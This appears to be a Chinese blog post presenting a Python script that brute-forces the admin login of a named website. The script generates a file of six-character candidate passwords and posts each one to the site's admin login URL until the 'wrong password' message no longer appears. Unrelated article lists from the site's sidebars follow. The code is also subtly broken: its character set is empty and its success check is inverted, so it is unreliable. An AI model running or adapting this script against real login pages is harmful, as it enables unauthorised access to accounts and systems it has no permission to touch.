忘记秘密利用python模拟登录暴力破解秘密:

#encoding=utf-8

import itertools
import string
import requests def gen_pwd_file(file="pwd_file.txt"):
"""
生成候选密码文件,可以网上直接下载一个或自己直接写
"""
# words = string.digits+string.letters
words = ''
pwd_iter = itertools.product(words, repeat=6)
cnt = 1
with open(file, 'a') as fw:
for pwd in pwd_iter:
fw.write("".join(pwd)+'\n')
cnt += 1
if cnt%5000:
print cnt,'done'
if cnt>500000:
break def get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php', username="test", pwd_file='pwd_file.txt'):
"""
模拟登录
"""
#请求的URL地址
LOGIN_URL = 'http://www.quaigo.com/Admin/Public/login/login.php'
#模拟登陆的浏览器
HEADERS = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
cnt = 1
with open(pwd_file) as fr:
for line in fr:
pwd = line.strip()
DATA = {"username":username, "password": pwd} #登录系统的账号密码,也是我们请求数据
res = requests.post(LOGIN_URL, data=DATA, headers=HEADERS) #模拟登陆操作
print(cnt)
cnt += 1
if res.text.find(u"密码错误"):
print(res)
continue
else:
print(line)
break # 生成密码文件
gen_pwd_file() # 逐个密码尝试登录
get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php')

最新文章

  1. Time.deltaTime 的平均值在0.1-0.2左右
  2. 1140 分珠 dfs
  3. selenium杀掉浏览器进程方法
  4. SXT_项目
  5. Ubuntu 13.04 双显卡安装NVIDIA GT 630M驱动
  6. javascript 内部对象(1)——Math 对象
  7. BITED-Windows8应用开发学习札记之三:如何在Win8应用中实现数据绑定
  8. Android String format 通过value 下的string.xml 文件
  9. Java使用javax.mail.jar发送邮件并同意发送附件
  10. SVN服务器搭建(1)
  11. 卸载windows补丁
  12. spring :Log4j各级别日志重复打印
  13. 各种类型的Json格式化
  14. pingback协议与traceback协议的区别
  15. numpy opencv matlab eigen SVD结果对比
  16. 前端框架 vue 和 react 的区别
  17. Liunx下NFS服务器的搭建与配置
  18. oracle的建表语句
  19. spring 发布 Jax-Ws Service (二)
  20. google/protobuf hello world

热门文章

  1. JAVA对mongodb的基本操作
  2. iOS证书申请及使用详细说明
  3. MAC 终端上传代码到Github 或者 Gitlab
  4. 百川sdk----自己的WebViewClient不被执行【废弃,新版本百川已修复此问题】
  5. C#中的Cookie
  6. Debug程序的使用
  7. 开发Canvas 绘画应用(四):实现拖拽绘画
  8. Spring Security框架下Restful Token的验证方案
  9. 记录一次axios请求造成的数组初始化失败
  10. linux为什么要使用CentOS开发?